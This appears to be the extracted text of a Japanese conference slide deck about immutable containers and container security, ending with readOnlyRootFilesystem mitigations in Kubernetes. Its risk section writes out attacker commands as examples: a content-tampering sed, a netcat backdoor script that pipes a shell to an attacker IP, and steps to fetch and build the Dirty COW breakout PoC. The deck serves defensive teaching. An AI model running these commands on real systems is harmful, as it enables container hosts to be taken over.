コンテナとimmutableとわたし。あとセキュリティ。（Kubernetes Novice Tokyo #15 発表資料）

2021/12/07
@mochizuki875
コンテナとimmutableとわたし。
あとセキュリティ。
Kubernetes Novice Tokyo #15

@mochizuki875
Name
Keita Mochizuki（mochizuki875）
Company
NTT DATA Corporation
Role
Cloud Engineer
whoami

Name
Keita Mochizuki（mochizuki875）
Company
NTT DATA Corporation
Role
Cloud Engineer
whoami
たぬきではなく
きつねです。
@mochizuki875

毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝①
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213

毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝①
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213
一緒にワイワイしましょう😆
ゲスト出演も絶賛募集中です！！
※ゲスト出演頂ける方は以下メンバーのTwitter DMまでご連絡頂ければと思います

2021/11/04-5に行われたCloudNative Days 2021にて登壇し、
コンテナセキュリティに関するお話をさせて頂きました。
宣伝②
動画
https://event.cloudnativedays.jp/cndt2021/talks/1187
資料
https://speakerdeck.com/mochizuki875/container-dev-security
見てね！

はじめに
コンテナについて調べていると、しばしばimmutableという言葉を目にすることがあると思います。
本日のセッションでは、コンテナとimmutableの関係、およびコンテナでimmutableな構成制御を実現
することのセキュリティ観点から見た意義について自身の解釈を元にお伝えできればと思います。

・本セッションにおいてimmutableという言葉はImmutable Infrastructureの文脈で用いています
・本発表はサイバー攻撃を肯定するものではありません
・発表内で用いるコンテナという言葉は基本的にruncで実行されるコンテナを指します
・掲載内容は個人の見解であり、所属する企業や組織の立場、戦略、意見を代表するものでは
ありません
・記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標です
はじめに

1. コンテナを学び始めた頃のわたし
2018年頃のボク周りのみんな
2018年頃、コンテナ技術に初めて触れたボクは、
聞いたことのあるコンテナの特徴を得意気に話していました。
←当時使っていたアイコン

コンテナって知ってる？？
すげーんだぜ！

軽くてぇ∼
早くてぇ∼
移行性が
高くてぇ∼

immutableでぇ∼

コンテナは
immutableでぇ∼

2. immutableとは
immutable
（形）[imj
ú
təbəl]
不変の、変更不可能な
mutable
（形）[mj
ú
təbəl]
変わりやすい、変更可能な
https://eow.alc.co.jp/

2. immutableとは
Webサーバーを例に考えてみます。
Hello Web Page!!
This Page is v1

2. immutableとは
mutable
Hello Web Page!!
This Page is v1
Webサーバーに対して変更を行う、変更が可能という考え方
Developer
v2にバージョン
アップしたい
mutable

2. immutableとは
mutable
Hello Web Page!!
This Page is v1
root@web-server: # cp index.html /var/www/html/index.html
・・・
Developer 変更をWebサーバーに反映
既存構成に対する
変更OPを実施
mutable

2. immutableとは
mutable
Hello Web Page!!
This Page is v2
Developer
Done
mutable

2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Webサーバーに対する変更を加えない、変更が不可能という考え方
Developer
v2にバージョン
アップしたい
immutable

2. immutableとは
immutable
Hello Web Page!!
This Page is v1
immutable
Developer
root@web-server: # cp index.html /var/www/html/index.html
・・・
既存構成に対して
変更は行わない/行えない

2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Hello Web Page!!
This Page is v2
Developer
変更を反映したサーバーを
新しく用意
immutable
immutable
新規作成

2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Hello Web Page!!
This Page is v2
置き換え
Developer
既存のサーバーを新しい
サーバーに置き換える
immutable
immutable

2. immutableとは
immutable
Hello Web Page!!
This Page is v1
Hello Web Page!!
This Page is v2
削除
※切り戻し用に残しておいても良い
Developer
immutable
immutable
古いサーバーを削除

2. immutableとは
immutable
Hello Web Page!!
This Page is v2
Developer
immutable
Done

改めまして
コンテナ=immutable??

3. コンテナはimmutableか？
コンテナの一般的なライフサイクルを踏まえ、先の例と同様のケースを考えてみます。
v1
image
Developer
Build

v1
Container
v1
image
Developer
Deploy
Hello Web Page!!
This Page is v1

v1
Container
v1
image
Developer

v1
Container
v1
image
Developer
v2
image
Build

v1
Container
v1
image
Developer
v2
image
v2
Container
Deploy

v1
Container
v1
image
Developer
v2
image
v2
Container
新しいコンテナに切り替え

v1
image
Developer
v2
image
v2
Container
Hello Web Page!!
This Page is v2

ただし（やろうと思えば）以下のように直接コンテナ自体に変更を加えて
バージョンアップを行うことも可能です。
v1
Container
Developer
kubectl cp ./index.html web:/var/www/html/
Hello Web Page!!
This Page is v1

Developer
v2
Container
ただし（やろうと思えば）以下のように直接コンテナ自体に変更を加えて
バージョンアップを行うことも可能です。 Hello Web Page!!
This Page is v2

そもそもなんでimmutableを実現したいか？？

→変更の積み重ねによるトラブルを避けるため
ex）更新の失敗、ドキュメントと実環境の差異、環境差異の発生
base
v1
※ここではmutable、immutableの一般的なメリットやデメリットには深く触れませんが、上記の観点からimmutableの考え方が推奨されている印象です。

base base
di
ff
_1
v1 v2
変更
（di
ff
_1）

base base
di
ff
_1
base
di
ff
_1
di
ff
_2
v1 v2 v3
変更
（di
ff
_1）
変更
（di
ff
_2）

base base
di
ff
_1
base
di
ff
_1
di
ff
_2
v1 v2 v3
変更
（di
ff
_1）
変更
（di
ff
_2）
変更
（di
ff
_3）
これまでの変更差分の積み重ね
により変更を反映できない

immutableという言葉は以下2つの意味で用いられる印象。
①変更を加えない（不変の）
②変更を加えさせない（変更不可能な）
構成管理
構成制御

immutableという言葉は以下2つの意味で用いられる印象。
①変更を加えない（不変の）
②変更を加えさせない（変更不可能な）
コンテナの一般的なライフサイクルはこれに準じており、
それに則って使えばコンテナはimmutableであると言える
一般的にはコンテナは変更可能でありimmutableであるとは言えない
※因みにコンテナイメージはこの文脈でもimmutableと言える
構成管理
構成制御

コンテナはimmutableな構成管理
を実現する上で有効な手段

イケてる新入社員くん
コンテナを勉強し始めたばかりの新入社員くんに聞いてみました！

イケてる新入社員くん
流石！！
ちゃんと理解していらっしゃいました・・・・
コンテナを勉強し始めたばかりの新入社員くんに聞いてみました！

Kubernetes Novice Tokyo #14
0から始めるコンテナの学び方（@kencatan）
資料
https://www.slideshare.net/nttdata-tech/how-to-learn-container-k8s-novice-tokyo-14-nttdata
動画
https://www.youtube.com/watch?v=KR3jYYt8cJo
そんなイケてる新入社員くんの発表はこちら！
これからコンテナを学び始める人や
誰かにコンテナを教える人には
良い参考になる内容だと思います！

あとセキュリティの話

4. immutableとセキュリティ
コンテナはimmutableな構成管理を実現する上で有効な手段ではありつつも、
構成制御の観点からはimmutableであるとは言えません。
コンテナ（のrootfs）が変更可能であることは、immutableな構成管理の実現の妨げになることに加え、
セキュリティリスクにもなり得ると言えます。
※厳密には「コンテナのrootfsが変更不可能=コンテナが変更不可能」ではありません。
しかしながらコンテナのrootfsの変更可否はコンテナの変更可否（immutableな構成制御）に密接に関わってきます。
以降ではコンテナ（のrootfs）が変更可能であった場合に、
具体的にどのようなリスクが発生し得るか代表例を示します。

例えば以下のようにWebサービスを提供するコンテナがあるとします。
リスク①：コンテナ内コンテンツの改竄が可能
Container Host（Worker Node #1）
Web
User
index.html

Web
Attacker
Webサービスを提供するコンテナに攻撃者が何らかの手段により侵入できたとします。
コンテナのrootfsは変更可能なのでWebコンテンツを提供するファイルを編集することができます。
sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/https://www.gachiwaru.com/' /var/www/html/index.html
コンテナ（攻撃者端末から侵入）
index.html
Webコンテンツの
改竄

攻撃者による改竄が行われた後、ユーザーが再度Webサイトを訪れると・・・
Web
User
index.html

攻撃者によりコンテンツが改竄されていたことで、悪意のあるサイトに誘導されてしまいました。
Web
User
index.html

リスク②：コンテナホスト上に悪意のあるファイルを配置可能
Web
Attacker
攻撃者によりコンテナに侵入され、悪意のあるファイルを作成されたとします。
cmd
cat <<EOF > /cmd
#!/bin/sh
nc -l 9023 ¦ bash ¦ nc <攻撃端末IP> 8023
EOF
# chmod +x /cmd
cat
プログラムを作成
cmd
コンテナホストにバックドアを仕掛けるコマンド

リスク②：コンテナホスト上に悪意のあるファイルを配置可能
Web
Attacker
cmd
コンテナ内で作成されたファイルの実体は、ホスト上の特定ディレクトリに存在することになります。
これはコンテナのrootfsがホスト上のOverlayFSからマウントされているためです。
cmd
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
実体はホスト上の
Overlayfsに存在
mount -t overlay
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/87/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/58/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/52/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/51/fs,upperdir=/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/work,xino=o
ff
)
悪意のあるファイルが
ホストに配置された
ls /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs
cmd etc root run var
コンテナホスト

リスク①②を踏まえた具体的な攻撃事例を知りたい方は、
以下セッション内で解説していますので宜しければご視聴下さい（2回目）
動画
https://event.cloudnativedays.jp/cndt2021/talks/1187
資料
https://speakerdeck.com/mochizuki875/container-dev-security

リスク③：コンテナ内への不正なプログラムのDLが可能
Web
Attacker
コンテナ内での変更が可能ということは、パッケージ管理ツール（aptやyum）を使って任意の
コマンドをコンテナ内にインストールしたり、悪意のあるプログラムをコンテナ内に配置し実行
することが可能になります。
apt-get install -y git
git clone https://github.com/scumjr/dirtycow-vdso.git /dirtycow-vdso
cd /dirtycow-vdso
make
・・・
dirtycow-vdso
悪意のあるプログラムを
DLして実行

リスク③：コンテナ内への不正なプログラムのDLが可能
Web
Attacker
その結果、コンテナからホストへの侵入（Container Breakout）を許してしまうなど、
更なる攻撃に繋げられてしまうリスクがあります。
hostname
k8s-cluster1-worker01
id
uid=0(root) gid=0(root) groups=0(root)
コンテナホストへの
権限を奪取
dirtycow-vdso
Container Breakout

（参考）Dirty COW
リスク③の例ではDirty COW（CVE-2016-5195）と呼ばれるコンテナホストの脆弱性を利用した
攻撃の例を示しています。
これはコンテナホストのカーネルにv4.8.3以前のものを使用している場合、
コンテナ内で所定のコードを実行するとコンテナホストの特権を取得できるというものです。
Dirty COW - (CVE-2016-5195) - Docker Container Escape
https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/
PoC（scumjr/dirtycow-vdso）
https://github.com/scumjr/dirtycow-vdso
動画（Dirty COW Docker Escape）
https://www.youtube.com/watch?v=BwUfHJXgYg0

どうやって防ぐか？？

5. コンテナのrootfsをReadOnlyにする
コンテナ（のrootfs）が変更可能という状態はセキュリティリスクになり得ると言えます。
言い換えればimmutableな構成制御の実現はセキュリティの観点からも意義があると言えます。
（Not Only 構成管理）
以降では先に示したリスクへの対策として
コンテナのrootfsをReadOnlyとする手段をご紹介します。
コンテナのrootfsをReadOnlyとすべき旨は一般的なコンテナセキュリティのプラクティスでも述べられています。
NIST SP800-190 アプリケーションコンテナセキュリティガイド（IPA日本語翻訳版）
https://www.ipa.go.jp/
fi
les/000085279.pdf
NSA CISA Kubernetes Hardening Guidance （Kubernetes Pod security ）
https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF

Kubernetesではコンテナの起動設定にてコンテナのrootfsをReadOnlyに設定することが可能です。
こうすることで、コンテナ内でのrootfsに対する書き込みを伴う操作が禁止され、
セキュリティレベルを高めることに繋がります。
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu-readonly
name: ubuntu-readonly
spec:
containers:
- image: ubuntu:20.04
name: ubuntu-readonly
command: ["/bin/sh", "-c", "while :; do sleep 10; done"]
securityContext:
readOnlyRootFilesystem: true
ubuntu-immutable.yml
root@ubuntu-readonly:/# apt-get install -y git
・・・
W: Not using locking for read only lock
fi
le /var/lib/dpkg/lock-frontend
W: Not using locking for read only lock
fi
le /var/lib/dpkg/lock
E: Unable to locate package git
root@ubuntu-readonly:/# cat <<EOF > /cmd
・・・
bash: cannot create temp
fi
le for here-document: Read-only
fi
le system
ubuntu-readonly
cmd
rootfs(/) process
bin
root
local/apache2/logs
usr
・
・
・
mount
rootfs(/)
overlayfs
ReadOnly
コンテナのrootfsをROに設定
Write

しかしながらコンテナの挙動によっては、rootfsへの書き込みが禁止されていると正常にコンテナが起動できない
場合もあります。httpdのようにコンテナプロセスがrootfs配下の特定ディレクトリにファイルを出力する動作をする場合は、
rootfsがReadOnlyだとコンテナを起動することができません。
apiVersion: v1
kind: Pod
metadata:
labels:
run: httpd-readonly
name: httpd-readonly
spec:
containers:
- image: httpd:2.4.51
securityContext:
httpd-readonly.yml
››› kubectl get po httpd-readonly
NAME READY STATUS RESTARTS AGE
httpd-readonly 0/1 Error 4 (59s ago) 116s
››› kubectl logs httpd-readonly
AH00558: httpd: Could not reliably determine the server's fully quali
fi
ed domain name, using 10.0.233.55. Set the 'ServerName' directive globally to suppress this message
AH00558: httpd: Could not reliably determine the server's fully quali
fi
ed domain name, using 10.0.233.55. Set the 'ServerName' directive globally to suppress this message
[Sat Nov 13 16:37:16.913895 2021] [core:error] [pid 1:tid 139972664941888] (30)Read-only
fi
le system: AH00099: could not create /usr/local/apache2/logs/httpd.pid.iuTncf
[Sat Nov 13 16:37:16.913965 2021] [core:error] [pid 1:tid 139972664941888] AH00100: httpd: could not log pid to
fi
le /usr/local/apache2/logs/httpd.pid
httpd-readonly
cmd
rootfs(/) process
bin
root
local/apache2/logs
usr
・
・
・
mount
ReadOnly
ReadOnly
rootfs(/)
overlayfs
Write
Write

対策として、rootfsはReadOnlyとしつつコンテナプロセスが書き込みを行う必要があるディレクトリのみ
ReadWiteでVolume Mountを行うという方法が考えられます。
以下ではコンテナ起動時に対象ディレクトリに対してemptyDir（一時的なボリューム）を作成&マウントしています。
apiVersion: v1
kind: Pod
metadata:
labels:
run: httpd-readonly
spec:
containers:
- image: httpd:2.4.51
securityContext:
volumeMounts:
- name: log-volume
mountPath: /usr/local/apache2/logs/
volumes:
- name: log-volume
emptyDir: {}
››› kubectl get po httpd-readonly
NAME READY STATUS RESTARTS AGE
httpd-readonly 1/1 Running 0 2m33s
httpd-readonly
cmd
rootfs(/) process
bin
root
local/apache2/logs
usr
・
・
・
mount
log-volume
mount
ReadOnly
ReadWriteで
Volume Mount
httpd-readonly.yml
書き込みが必要が領域を
emptyDirにマウント
rootfs(/)
overlayfs
Write

6. まとめ
immutableという言葉の考え方
・構成管理と構成制御の観点がある
・コンテナはimmutableな構成管理を実現する有効な手段
コンテナが変更可能であることのリスクと対策
・コンテナ（のrootfs）が変更可能であることのリスクをお伝えしました
・コンテナでimmutableな構成制御を実現する1手段であるreadOnlyRootFilesystemについてお伝えしました

Kubernetes完全ガイド第2版
https://book.impress.co.jp/books/1119101148
Certi
fi
ed Kubernetes Security Specialist (CKS)
https://kodekloud.com/courses/certi
fi
ed-kubernetes-security-specialist-cks/
Container Security Book
https://container-security.dev/security/breakout-to-host.html
Docker/Kubernetes 開発・運用のためのセキュリティ実践ガイド
https://book.mynavi.jp/ec/products/detail/id=114099
コンテナ技術入門 - 仮想化との違いを知り、要素技術を触って学ぼう
https://eh-career.com/engineerhub/entry/2019/02/05/103000
参考

初めてのコミュニティ登壇として最適な場だと思います！
みなさんも是非登壇にチャレンジしてみてください！

コンテナとimmutableとわたし。あとセキュリティ。（Kubernetes Novice Tokyo #15 発表資料）

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

More from NTT DATA Technology & Innovation

More from NTT DATA Technology & Innovation (20)

Recently uploaded

Recently uploaded (10)

コンテナとimmutableとわたし。あとセキュリティ。（Kubernetes Novice Tokyo #15 発表資料）